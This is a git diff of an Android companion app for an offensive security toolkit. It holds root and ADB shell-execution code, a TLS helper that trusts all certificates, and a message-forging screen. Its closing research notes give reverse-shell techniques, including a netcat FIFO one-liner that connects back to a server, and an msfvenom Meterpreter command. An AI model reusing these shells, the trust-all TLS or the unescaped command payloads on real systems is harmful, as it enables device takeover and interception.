{ + return ShellExecutor.isRootAvailable() + } + + private fun checkArchonServer(): Boolean { + val ctx = appContext ?: return false + return ArchonClient.isServerRunning(ctx) + } + + private fun checkLocalAdb(): Boolean { + return LocalAdbClient.isConnected() + } + + private fun checkServerAdb(): Boolean { + if (serverIp.isEmpty()) return false + return try { + val url = URL("https://$serverIp:$serverPort/hardware/status") + val conn = url.openConnection() as HttpURLConnection + SslHelper.trustSelfSigned(conn) + conn.connectTimeout = 3000 + conn.readTimeout = 3000 + conn.requestMethod = "GET" + val code = conn.responseCode + conn.disconnect() + code in 200..399 + } catch (e: Exception) { + false + } + } + + // ── Execution backends ──────────────────────────────────────── + + private fun executeViaRoot(command: String): ShellResult { + return ShellExecutor.executeAsRoot(command) + } + + private fun executeViaArchonServer(command: String): ShellResult { + val ctx = appContext ?: return ShellResult("", "No app context", -1) + return ArchonClient.execute(ctx, command) + } + + private fun executeViaLocalAdb(command: String): ShellResult { + return LocalAdbClient.execute(command) + } + + private fun executeViaServer(command: String): ShellResult { + if (serverIp.isEmpty()) { + return ShellResult("", "Server not configured", -1) + } + + return try { + val url = URL("https://$serverIp:$serverPort/hardware/adb/shell") + val conn = url.openConnection() as HttpURLConnection + SslHelper.trustSelfSigned(conn) + conn.connectTimeout = 5000 + conn.readTimeout = 15000 + conn.requestMethod = "POST" + conn.setRequestProperty("Content-Type", "application/json") + conn.doOutput = true + + val payload = """{"serial":"any","command":"$command"}""" + conn.outputStream.write(payload.toByteArray()) + + val responseCode = conn.responseCode + val response = if (responseCode in 200..299) { + conn.inputStream.bufferedReader().readText() + } else { + conn.errorStream?.bufferedReader()?.readText() ?: "HTTP $responseCode" + } + conn.disconnect() + + if (responseCode in 200..299) { + val stdout = extractJsonField(response, "stdout") ?: response + val stderr = extractJsonField(response, "stderr") ?: "" + val exitCode = extractJsonField(response, "exit_code")?.toIntOrNull() ?: 0 + ShellResult(stdout, stderr, exitCode) + } else { + ShellResult("", "Server HTTP $responseCode: $response", -1) + } + } catch (e: Exception) { + Log.e(TAG, "Server execute failed", e) + ShellResult("", "Server error: ${e.message}", -1) + } + } + + private fun extractJsonField(json: String, field: String): String? { + val pattern = """"$field"\s*:\s*"([^"]*?)"""".toRegex() + val match = pattern.find(json) + return match?.groupValues?.get(1) + } +} diff --git a/autarch_companion/app/src/main/kotlin/com/darkhal/archon/util/ShellExecutor.kt b/autarch_companion/app/src/main/kotlin/com/darkhal/archon/util/ShellExecutor.kt new file mode 100644 index 0000000..85ab2bf --- /dev/null +++ b/autarch_companion/app/src/main/kotlin/com/darkhal/archon/util/ShellExecutor.kt @@ -0,0 +1,59 @@ +package com.darkhal.archon.util + +import java.io.BufferedReader +import java.io.InputStreamReader +import java.util.concurrent.TimeUnit + +data class ShellResult( + val stdout: String, + val stderr: String, + val exitCode: Int +) + +object ShellExecutor { + + private const val DEFAULT_TIMEOUT_SEC = 10L + + fun execute(command: String, timeoutSec: Long = DEFAULT_TIMEOUT_SEC): ShellResult { + return try { + val process = Runtime.getRuntime().exec(arrayOf("sh", "-c", command)) + val completed = process.waitFor(timeoutSec, TimeUnit.SECONDS) + + if (!completed) { + process.destroyForcibly() + return ShellResult("", "Command timed out after ${timeoutSec}s", -1) + } + + val stdout = BufferedReader(InputStreamReader(process.inputStream)).readText().trim() + val stderr = BufferedReader(InputStreamReader(process.errorStream)).readText().trim() + + ShellResult(stdout, stderr, process.exitValue()) + } catch (e: Exception) { + ShellResult("", "Error: ${e.message}", -1) + } + } + + fun executeAsRoot(command: String, timeoutSec: Long = DEFAULT_TIMEOUT_SEC): ShellResult { + return try { + val process = Runtime.getRuntime().exec(arrayOf("su", "-c", command)) + val completed = process.waitFor(timeoutSec, TimeUnit.SECONDS) + + if (!completed) { + process.destroyForcibly() + return ShellResult("", "Command timed out after ${timeoutSec}s", -1) + } + + val stdout = BufferedReader(InputStreamReader(process.inputStream)).readText().trim() + val stderr = BufferedReader(InputStreamReader(process.errorStream)).readText().trim() + + ShellResult(stdout, stderr, process.exitValue()) + } catch (e: Exception) { + ShellResult("", "Root error: ${e.message}", -1) + } + } + + fun isRootAvailable(): Boolean { + val result = execute("which su") + return result.exitCode == 0 && result.stdout.isNotEmpty() + } +} diff --git a/autarch_companion/app/src/main/kotlin/com/darkhal/archon/util/SslHelper.kt b/autarch_companion/app/src/main/kotlin/com/darkhal/archon/util/SslHelper.kt new file mode 100644 index 0000000..e93a10c --- /dev/null +++ b/autarch_companion/app/src/main/kotlin/com/darkhal/archon/util/SslHelper.kt @@ -0,0 +1,49 @@ +package com.darkhal.archon.util + +import java.net.HttpURLConnection +import java.security.SecureRandom +import java.security.cert.X509Certificate +import javax.net.ssl.HostnameVerifier +import javax.net.ssl.HttpsURLConnection +import javax.net.ssl.SSLContext +import javax.net.ssl.TrustManager +import javax.net.ssl.X509TrustManager + +/** + * SSL helper for connecting to AUTARCH's self-signed HTTPS server. + * + * Since AUTARCH generates a self-signed cert at first launch, + * Android's default trust store will reject it. This helper + * creates a permissive SSLContext for LAN-only connections to + * the known AUTARCH server. + */ +object SslHelper { + + private val trustAllManager = object : X509TrustManager { + override fun checkClientTrusted(chain: Array, authType: String) {} + override fun checkServerTrusted(chain: Array, authType: String) {} + override fun getAcceptedIssuers(): Array = arrayOf() + } + + private val trustAllHostname = HostnameVerifier { _, _ -> true } + + private val sslContext: SSLContext by lazy { + SSLContext.getInstance("TLS").apply { + init(null, arrayOf(trustAllManager), SecureRandom()) + } + } + + val socketFactory get() = sslContext.socketFactory + + /** + * Apply self-signed cert trust to a connection. + * If the connection is HTTPS, sets the permissive SSLSocketFactory + * and hostname verifier. Plain HTTP connections are left unchanged. + */ + fun trustSelfSigned(conn: HttpURLConnection) { + if (conn is HttpsURLConnection) { + conn.sslSocketFactory = socketFactory + conn.hostnameVerifier = trustAllHostname + } + } +} diff --git a/autarch_companion/app/src/main/res/drawable/ic_archon.xml b/autarch_companion/app/src/main/res/drawable/ic_archon.xml new file mode 100644 index 0000000..7115e77 --- /dev/null +++ b/autarch_companion/app/src/main/res/drawable/ic_archon.xml @@ -0,0 +1,40 @@ + + + + + + + + + + + + + + + + + + + + + + + diff --git a/autarch_companion/app/src/main/res/drawable/ic_setup.xml b/autarch_companion/app/src/main/res/drawable/ic_setup.xml new file mode 100644 index 0000000..9407d1d --- /dev/null +++ b/autarch_companion/app/src/main/res/drawable/ic_setup.xml @@ -0,0 +1,12 @@ + + + + + diff --git a/autarch_companion/app/src/main/res/layout/activity_login.xml b/autarch_companion/app/src/main/res/layout/activity_login.xml new file mode 100644 index 0000000..7dcf3f4 --- /dev/null +++ b/autarch_companion/app/src/main/res/layout/activity_login.xml @@ -0,0 +1,173 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/autarch_companion/app/src/main/res/layout/activity_main.xml b/autarch_companion/app/src/main/res/layout/activity_main.xml new file mode 100644 index 0000000..b4256ec --- /dev/null +++ b/autarch_companion/app/src/main/res/layout/activity_main.xml @@ -0,0 +1,33 @@ + + + + + + + + diff --git a/autarch_companion/app/src/main/res/layout/dialog_forge_message.xml b/autarch_companion/app/src/main/res/layout/dialog_forge_message.xml new file mode 100644 index 0000000..d34c48f --- /dev/null +++ b/autarch_companion/app/src/main/res/layout/dialog_forge_message.xml @@ -0,0 +1,203 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/autarch_companion/app/src/main/res/layout/fragment_dashboard.xml b/autarch_companion/app/src/main/res/layout/fragment_dashboard.xml new file mode 100644 index 0000000..37cadda --- /dev/null +++ b/autarch_companion/app/src/main/res/layout/fragment_dashboard.xml @@ -0,0 +1,225 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/autarch_companion/app/src/main/res/layout/fragment_links.xml b/autarch_companion/app/src/main/res/layout/fragment_links.xml new file mode 100644 index 0000000..7a74346 --- /dev/null +++ b/autarch_companion/app/src/main/res/layout/fragment_links.xml @@ -0,0 +1,284 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/autarch_companion/app/src/main/res/layout/fragment_messaging.xml b/autarch_companion/app/src/main/res/layout/fragment_messaging.xml new file mode 100644 index 0000000..f73b14c --- /dev/null +++ b/autarch_companion/app/src/main/res/layout/fragment_messaging.xml @@ -0,0 +1,340 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/autarch_companion/app/src/main/res/layout/fragment_modules.xml b/autarch_companion/app/src/main/res/layout/fragment_modules.xml new file mode 100644 index 0000000..f96b671 --- /dev/null +++ b/autarch_companion/app/src/main/res/layout/fragment_modules.xml @@ -0,0 +1,655 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/autarch_companion/app/src/main/res/layout/fragment_settings.xml b/autarch_companion/app/src/main/res/layout/fragment_settings.xml new file mode 100644 index 0000000..8df1a3d --- /dev/null +++ b/autarch_companion/app/src/main/res/layout/fragment_settings.xml @@ -0,0 +1,310 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/autarch_companion/app/src/main/res/layout/fragment_setup.xml b/autarch_companion/app/src/main/res/layout/fragment_setup.xml new file mode 100644 index 0000000..0017cef --- /dev/null +++ b/autarch_companion/app/src/main/res/layout/fragment_setup.xml @@ -0,0 +1,383 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/autarch_companion/app/src/main/res/layout/item_conversation.xml b/autarch_companion/app/src/main/res/layout/item_conversation.xml new file mode 100644 index 0000000..b3abf62 --- /dev/null +++ b/autarch_companion/app/src/main/res/layout/item_conversation.xml @@ -0,0 +1,92 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/autarch_companion/app/src/main/res/layout/item_message_received.xml b/autarch_companion/app/src/main/res/layout/item_message_received.xml new file mode 100644 index 0000000..93a34d1 --- /dev/null +++ b/autarch_companion/app/src/main/res/layout/item_message_received.xml @@ -0,0 +1,67 @@ + + + + + + + + + + + + + + + + + + + + + diff --git a/autarch_companion/app/src/main/res/layout/item_message_sent.xml b/autarch_companion/app/src/main/res/layout/item_message_sent.xml new file mode 100644 index 0000000..6b2d5ec --- /dev/null +++ b/autarch_companion/app/src/main/res/layout/item_message_sent.xml @@ -0,0 +1,78 @@ + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/autarch_companion/app/src/main/res/menu/bottom_nav.xml b/autarch_companion/app/src/main/res/menu/bottom_nav.xml new file mode 100644 index 0000000..3cffc12 --- /dev/null +++ b/autarch_companion/app/src/main/res/menu/bottom_nav.xml @@ -0,0 +1,23 @@ + + + + + + + + diff --git a/autarch_companion/app/src/main/res/navigation/nav_graph.xml b/autarch_companion/app/src/main/res/navigation/nav_graph.xml new file mode 100644 index 0000000..301fd07 --- /dev/null +++ b/autarch_companion/app/src/main/res/navigation/nav_graph.xml @@ -0,0 +1,38 @@ + + + + + + + + + + + + + + + + diff --git a/autarch_companion/app/src/main/res/values/colors.xml b/autarch_companion/app/src/main/res/values/colors.xml new file mode 100644 index 0000000..20d99fe --- /dev/null +++ b/autarch_companion/app/src/main/res/values/colors.xml @@ -0,0 +1,18 @@ + + + #FF00FF41 + #FF006B1A + #FF0D0D0D + #FF1A1A1A + #FF111111 + #FFE0E0E0 + #FF888888 + #FF555555 + #FF00FF41 + #FF00FF41 + #FF666666 + #FFFF4444 + #FFFFAA00 + #FF000000 + #FF00FF41 + diff --git a/autarch_companion/app/src/main/res/values/strings.xml b/autarch_companion/app/src/main/res/values/strings.xml new file mode 100644 index 0000000..876ea0a --- /dev/null +++ b/autarch_companion/app/src/main/res/values/strings.xml @@ -0,0 +1,90 @@ + + + Archon + + + Dashboard + Links + Modules + Setup + Settings + + + Server Discovery + Tap SCAN to find AUTARCH + LAN / Wi-Fi Direct / Bluetooth + SCAN + + + ARCHON + ADB Control + ADB: checking... + Enable ADB TCP/IP + USB/IP Export + USB/IP: checking... + Enable USB/IP Export + ADB Server + KILL + RESTART + Auto-restart ADB + WireGuard + WG: checking... + Server: -- + > ready_ + + + AUTARCH + Server: -- + Dashboard + WireGuard + Shield + Hardware + Wireshark + OSINT + Defense + Offense + Settings + + + Messages + SMS/RCS + DEFAULT + RESTORE + TOOLS + Search messages... + Type a message... + SEND + EXPORT + New message + No conversations found.\nCheck SMS permissions or tap + to forge a message. + + + FORGE MESSAGE + Phone Number + +15551234567 + Contact Name (optional) + John Doe + Message Body + Enter message text... + Direction + RECEIVED + SENT + Date / Time + Date + Time + Mark as read + + + SETTINGS + Server Connection + AUTARCH Server IP + Web UI Port (default: 8181) + ADB Configuration + ADB TCP Port + USB/IP Port + BBS Configuration + Veilid BBS Address + AUTO-DETECT SERVER + TEST + SAVE + diff --git a/autarch_companion/app/src/main/res/values/themes.xml b/autarch_companion/app/src/main/res/values/themes.xml new file mode 100644 index 0000000..0a06a06 --- /dev/null +++ b/autarch_companion/app/src/main/res/values/themes.xml @@ -0,0 +1,16 @@ + + + + diff --git a/autarch_companion/build.gradle.kts b/autarch_companion/build.gradle.kts new file mode 100644 index 0000000..cb472af --- /dev/null +++ b/autarch_companion/build.gradle.kts @@ -0,0 +1,3 @@ +plugins { + id("com.android.application") version "9.0.1" apply false +} diff --git a/autarch_companion/gradle.properties b/autarch_companion/gradle.properties new file mode 100644 index 0000000..f0a2e55 --- /dev/null +++ b/autarch_companion/gradle.properties @@ -0,0 +1,4 @@ +org.gradle.jvmargs=-Xmx2048m -Dfile.encoding=UTF-8 +android.useAndroidX=true +kotlin.code.style=official +android.nonTransitiveRClass=true diff --git a/autarch_companion/gradle/wrapper/gradle-wrapper.jar b/autarch_companion/gradle/wrapper/gradle-wrapper.jar new file mode 100644 index 0000000..61285a6 Binary files /dev/null and b/autarch_companion/gradle/wrapper/gradle-wrapper.jar differ diff --git a/autarch_companion/gradle/wrapper/gradle-wrapper.properties b/autarch_companion/gradle/wrapper/gradle-wrapper.properties new file mode 100644 index 0000000..37f78a6 --- /dev/null +++ b/autarch_companion/gradle/wrapper/gradle-wrapper.properties @@ -0,0 +1,7 @@ +distributionBase=GRADLE_USER_HOME +distributionPath=wrapper/dists +distributionUrl=https\://services.gradle.org/distributions/gradle-9.3.1-bin.zip +networkTimeout=10000 +validateDistributionUrl=true +zipStoreBase=GRADLE_USER_HOME +zipStorePath=wrapper/dists diff --git a/autarch_companion/gradlew b/autarch_companion/gradlew new file mode 100644 index 0000000..adff685 --- /dev/null +++ b/autarch_companion/gradlew @@ -0,0 +1,248 @@ +#!/bin/sh + +# +# Copyright © 2015 the original authors. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# https://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +# SPDX-License-Identifier: Apache-2.0 +# + +############################################################################## +# +# Gradle start up script for POSIX generated by Gradle. +# +# Important for running: +# +# (1) You need a POSIX-compliant shell to run this script. If your /bin/sh is +# noncompliant, but you have some other compliant shell such as ksh or +# bash, then to run this script, type that shell name before the whole +# command line, like: +# +# ksh Gradle +# +# Busybox and similar reduced shells will NOT work, because this script +# requires all of these POSIX shell features: +# * functions; +# * expansions «$var», «${var}», «${var:-default}», «${var+SET}», +# «${var#prefix}», «${var%suffix}», and «$( cmd )»; +# * compound commands having a testable exit status, especially «case»; +# * various built-in commands including «command», «set», and «ulimit». +# +# Important for patching: +# +# (2) This script targets any POSIX shell, so it avoids extensions provided +# by Bash, Ksh, etc; in particular arrays are avoided. +# +# The "traditional" practice of packing multiple parameters into a +# space-separated string is a well documented source of bugs and security +# problems, so this is (mostly) avoided, by progressively accumulating +# options in "$@", and eventually passing that to Java. +# +# Where the inherited environment variables (DEFAULT_JVM_OPTS, JAVA_OPTS, +# and GRADLE_OPTS) rely on word-splitting, this is performed explicitly; +# see the in-line comments for details. +# +# There are tweaks for specific operating systems such as AIX, CygWin, +# Darwin, MinGW, and NonStop. +# +# (3) This script is generated from the Groovy template +# https://github.com/gradle/gradle/blob/HEAD/platforms/jvm/plugins-application/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt +# within the Gradle project. +# +# You can find Gradle at https://github.com/gradle/gradle/. +# +############################################################################## + +# Attempt to set APP_HOME + +# Resolve links: $0 may be a link +app_path=$0 + +# Need this for daisy-chained symlinks. +while + APP_HOME=${app_path%"${app_path##*/}"} # leaves a trailing /; empty if no leading path + [ -h "$app_path" ] +do + ls=$( ls -ld "$app_path" ) + link=${ls#*' -> '} + case $link in #( + /*) app_path=$link ;; #( + *) app_path=$APP_HOME$link ;; + esac +done + +# This is normally unused +# shellcheck disable=SC2034 +APP_BASE_NAME=${0##*/} +# Discard cd standard output in case $CDPATH is set (https://github.com/gradle/gradle/issues/25036) +APP_HOME=$( cd -P "${APP_HOME:-./}" > /dev/null && printf '%s\n' "$PWD" ) || exit + +# Use the maximum available, or set MAX_FD != -1 to use that value. +MAX_FD=maximum + +warn () { + echo "$*" +} >&2 + +die () { + echo + echo "$*" + echo + exit 1 +} >&2 + +# OS specific support (must be 'true' or 'false'). +cygwin=false +msys=false +darwin=false +nonstop=false +case "$( uname )" in #( + CYGWIN* ) cygwin=true ;; #( + Darwin* ) darwin=true ;; #( + MSYS* | MINGW* ) msys=true ;; #( + NONSTOP* ) nonstop=true ;; +esac + + + +# Determine the Java command to use to start the JVM. +if [ -n "$JAVA_HOME" ] ; then + if [ -x "$JAVA_HOME/jre/sh/java" ] ; then + # IBM's JDK on AIX uses strange locations for the executables + JAVACMD=$JAVA_HOME/jre/sh/java + else + JAVACMD=$JAVA_HOME/bin/java + fi + if [ ! -x "$JAVACMD" ] ; then + die "ERROR: JAVA_HOME is set to an invalid directory: $JAVA_HOME + +Please set the JAVA_HOME variable in your environment to match the +location of your Java installation." + fi +else + JAVACMD=java + if ! command -v java >/dev/null 2>&1 + then + die "ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. + +Please set the JAVA_HOME variable in your environment to match the +location of your Java installation." + fi +fi + +# Increase the maximum file descriptors if we can. +if ! "$cygwin" && ! "$darwin" && ! "$nonstop" ; then + case $MAX_FD in #( + max*) + # In POSIX sh, ulimit -H is undefined. That's why the result is checked to see if it worked. + # shellcheck disable=SC2039,SC3045 + MAX_FD=$( ulimit -H -n ) || + warn "Could not query maximum file descriptor limit" + esac + case $MAX_FD in #( + '' | soft) :;; #( + *) + # In POSIX sh, ulimit -n is undefined. That's why the result is checked to see if it worked. + # shellcheck disable=SC2039,SC3045 + ulimit -n "$MAX_FD" || + warn "Could not set maximum file descriptor limit to $MAX_FD" + esac +fi + +# Collect all arguments for the java command, stacking in reverse order: +# * args from the command line +# * the main class name +# * -classpath +# * -D...appname settings +# * --module-path (only if needed) +# * DEFAULT_JVM_OPTS, JAVA_OPTS, and GRADLE_OPTS environment variables. + +# For Cygwin or MSYS, switch paths to Windows format before running java +if "$cygwin" || "$msys" ; then + APP_HOME=$( cygpath --path --mixed "$APP_HOME" ) + + JAVACMD=$( cygpath --unix "$JAVACMD" ) + + # Now convert the arguments - kludge to limit ourselves to /bin/sh + for arg do + if + case $arg in #( + -*) false ;; # don't mess with options #( + /?*) t=${arg#/} t=/${t%%/*} # looks like a POSIX filepath + [ -e "$t" ] ;; #( + *) false ;; + esac + then + arg=$( cygpath --path --ignore --mixed "$arg" ) + fi + # Roll the args list around exactly as many times as the number of + # args, so each arg winds up back in the position where it started, but + # possibly modified. + # + # NB: a `for` loop captures its iteration list before it begins, so + # changing the positional parameters here affects neither the number of + # iterations, nor the values presented in `arg`. + shift # remove old arg + set -- "$@" "$arg" # push replacement arg + done +fi + + +# Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script. +DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' + +# Collect all arguments for the java command: +# * DEFAULT_JVM_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, +# and any embedded shellness will be escaped. +# * For example: A user cannot expect ${Hostname} to be expanded, as it is an environment variable and will be +# treated as '${Hostname}' itself on the command line. + +set -- \ + "-Dorg.gradle.appname=$APP_BASE_NAME" \ + -jar "$APP_HOME/gradle/wrapper/gradle-wrapper.jar" \ + "$@" + +# Stop when "xargs" is not available. +if ! command -v xargs >/dev/null 2>&1 +then + die "xargs is not available" +fi + +# Use "xargs" to parse quoted args. +# +# With -n1 it outputs one arg per line, with the quotes and backslashes removed. +# +# In Bash we could simply go: +# +# readarray ARGS < <( xargs -n1 <<<"$var" ) && +# set -- "${ARGS[@]}" "$@" +# +# but POSIX shell has neither arrays nor command substitution, so instead we +# post-process each arg (as a line of input to sed) to backslash-escape any +# character that might be a shell metacharacter, then use eval to reverse +# that process (while maintaining the separation between arguments), and wrap +# the whole thing up as a single "set" statement. +# +# This will of course break if any of these variables contains a newline or +# an unmatched quote. +# + +eval "set -- $( + printf '%s\n' "$DEFAULT_JVM_OPTS $JAVA_OPTS $GRADLE_OPTS" | + xargs -n1 | + sed ' s~[^-[:alnum:]+,./:=@_]~\\&~g; ' | + tr '\n' ' ' + )" '"$@"' + +exec "$JAVACMD" "$@" diff --git a/autarch_companion/gradlew.bat b/autarch_companion/gradlew.bat new file mode 100644 index 0000000..c4bdd3a --- /dev/null +++ b/autarch_companion/gradlew.bat @@ -0,0 +1,93 @@ +@rem +@rem Copyright 2015 the original author or authors. +@rem +@rem Licensed under the Apache License, Version 2.0 (the "License"); +@rem you may not use this file except in compliance with the License. +@rem You may obtain a copy of the License at +@rem +@rem https://www.apache.org/licenses/LICENSE-2.0 +@rem +@rem Unless required by applicable law or agreed to in writing, software +@rem distributed under the License is distributed on an "AS IS" BASIS, +@rem WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +@rem See the License for the specific language governing permissions and +@rem limitations under the License. +@rem +@rem SPDX-License-Identifier: Apache-2.0 +@rem + +@if "%DEBUG%"=="" @echo off +@rem ########################################################################## +@rem +@rem Gradle startup script for Windows +@rem +@rem ########################################################################## + +@rem Set local scope for the variables with windows NT shell +if "%OS%"=="Windows_NT" setlocal + +set DIRNAME=%~dp0 +if "%DIRNAME%"=="" set DIRNAME=. +@rem This is normally unused +set APP_BASE_NAME=%~n0 +set APP_HOME=%DIRNAME% + +@rem Resolve any "." and ".." in APP_HOME to make it shorter. +for %%i in ("%APP_HOME%") do set APP_HOME=%%~fi + +@rem Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script. +set DEFAULT_JVM_OPTS="-Xmx64m" "-Xms64m" + +@rem Find java.exe +if defined JAVA_HOME goto findJavaFromJavaHome + +set JAVA_EXE=java.exe +%JAVA_EXE% -version >NUL 2>&1 +if %ERRORLEVEL% equ 0 goto execute + +echo. 1>&2 +echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 + +goto fail + +:findJavaFromJavaHome +set JAVA_HOME=%JAVA_HOME:"=% +set JAVA_EXE=%JAVA_HOME%/bin/java.exe + +if exist "%JAVA_EXE%" goto execute + +echo. 1>&2 +echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 + +goto fail + +:execute +@rem Setup the command line + + + +@rem Execute Gradle +"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -jar "%APP_HOME%\gradle\wrapper\gradle-wrapper.jar" %* + +:end +@rem End local scope for the variables with windows NT shell +if %ERRORLEVEL% equ 0 goto mainEnd + +:fail +rem Set variable GRADLE_EXIT_CONSOLE if you need the _script_ return code instead of +rem the _cmd.exe /c_ return code! +set EXIT_CODE=%ERRORLEVEL% +if %EXIT_CODE% equ 0 set EXIT_CODE=1 +if not ""=="%GRADLE_EXIT_CONSOLE%" exit %EXIT_CODE% +exit /b %EXIT_CODE% + +:mainEnd +if "%OS%"=="Windows_NT" endlocal + +:omega diff --git a/autarch_companion/research.md b/autarch_companion/research.md new file mode 100644 index 0000000..83b8e82 --- /dev/null +++ b/autarch_companion/research.md @@ -0,0 +1,293 @@ +# Archon Research — Consolidated Findings +## darkHal Security Group — Project AUTARCH +**Last Updated:** 2026-02-20 + +--- + +## 1. On-Device LLM Engines + +### SmolChat-Android (Recommended) +- **Source:** https://github.com/shubham0204/SmolChat-Android +- **License:** Apache 2.0 +- **Stack:** Kotlin + llama.cpp JNI bindings +- **Key feature:** `smollm` module is an embeddable Android library — 2-class Kotlin API +- **Model format:** GGUF (huge ecosystem on HuggingFace) +- **Performance:** Auto-detects CPU SIMD, has ARMv8.4 SVE optimized builds +- **Integration:** Streaming via Kotlin Flow, context tracking, chat templates from GGUF metadata +- **What it doesn't have:** No tool-calling — we add that via Koog (below) +- **Recommended models:** Qwen3-0.6B-Q4_K_M (tiny, fast) or SmolLM3-3B-Q4 (better quality) +- **Status:** Best choice for inference engine. Embed `smollm` module into Archon. + +### mllm +- **Source:** https://github.com/UbiquitousLearning/mllm +- **License:** MIT +- **Stack:** C++20 custom engine +- **Key feature:** Multimodal (vision + text — Qwen2-VL, DeepSeek-OCR), Qualcomm QNN NPU acceleration +- **Model format:** Custom `.mllm` (must convert from HuggingFace, NOT GGUF) +- **Drawback:** Much harder to integrate, custom format limits model selection +- **Status:** Consider for future multimodal features (OCR scanning, photo analysis). Not for initial integration. + +--- + +## 2. AI Agent Frameworks + +### Koog AI (Recommended for Archon) +- **Source:** https://docs.koog.ai/ +- **License:** Apache 2.0 (JetBrains) +- **Stack:** Pure Kotlin, Kotlin Multiplatform — officially supports Android +- **Key features:** + - 9 LLM providers including Ollama (local) and cloud (OpenAI, Anthropic) + - First-class tool-calling with class-based tools (works on Android) + - Agent memory, persistence, checkpoints, history compression + - Structured output via kotlinx.serialization + - GOAP planner (A* search for action planning — game AI technique) + - MCP integration (discover/use external tools) + - Multi-agent: agents-as-tools, agent-to-agent protocol +- **Version:** 0.6.2 +- **Integration:** `implementation("ai.koog:koog-agents:0.6.2")` — single Gradle dependency +- **Why it's the answer:** Native Kotlin, class-based tools on Android, GOAP planner maps perfectly to security workflows (Goal: "Protect device" → Actions: scan → identify → restrict → revoke) +- **Status:** Best choice for agent layer. Combine with SmolChat for fully offline operation. + +### SmolChat + Koog Combo +- SmolChat provides the on-device inference engine (GGUF/llama.cpp) +- Koog provides the agent framework (tools, planning, memory, structured output) +- Together: fully autonomous, fully offline security AI agent on the phone +- Implementation: define security tools as Koog class-based tools, wrap PrivilegeManager.execute() as execution backend + +### GitHub Copilot SDK +- **Source:** https://github.com/github/copilot-sdk +- **License:** MIT (SDK), proprietary (CLI binary ~61MB) +- **Stack:** Python/TypeScript/Go/.NET SDKs +- **Key features:** BYOK mode (Ollama local), MCP integration, linux-arm64 binary exists +- **Drawback:** CLI binary is closed-source proprietary. We already have our own LLM backends + MCP server. Adds another orchestration layer on top of what we built. +- **Status:** Not needed. Our own agent system (core/agent.py + core/tools.py) is better tailored. + +--- + +## 3. ADB Exploitation & Automation + +### PhoneSploit-Pro +- **Source:** https://github.com/AzeezIsh/PhoneSploit-Pro +- **License:** GPL-3.0 +- **What:** Python ADB automation framework (40+ exploits/actions) +- **Capabilities:** Screen capture, app management, file transfer, keylogging, device info dumping, network analysis, shell access, APK extraction, location spoofing +- **Relevance:** Reference for ADB command patterns. Many of its techniques are already in our ShieldModule and HoneypotModule. +- **Status:** Reference material. We implement our own versions with better safety controls. + +--- + +## 4. Android Reverse Shell Techniques + +### Technique 1: Java ProcessBuilder + Socket (Our Approach) +```java +// Connect back to server, pipe shell I/O over socket +Socket socket = new Socket(serverIp, serverPort); +ProcessBuilder pb = new ProcessBuilder("sh"); +Process process = pb.start(); +// Forward process stdin/stdout over socket +``` +- **Privilege:** Runs at whatever UID the process has +- **Our twist:** Run via `app_process` at UID 2000 (shell level) +- **Advantage:** No external tools needed, pure Java, clean control flow + +### Technique 2: Netcat + FIFO +```bash +mkfifo /data/local/tmp/f +cat /data/local/tmp/f | sh -i 2>&1 | nc $SERVER_IP $PORT > /data/local/tmp/f +``` +- **Requires:** `nc` (netcat) available on device +- **Advantage:** Simple, works from any shell +- **Disadvantage:** No auth, no encryption, no special commands + +### Technique 3: msfvenom Payloads +```bash +msfvenom -p android/meterpreter/reverse_tcp LHOST=x.x.x.x LPORT=4444 -o payload.apk +``` +- **Generates:** Standalone APK with Meterpreter 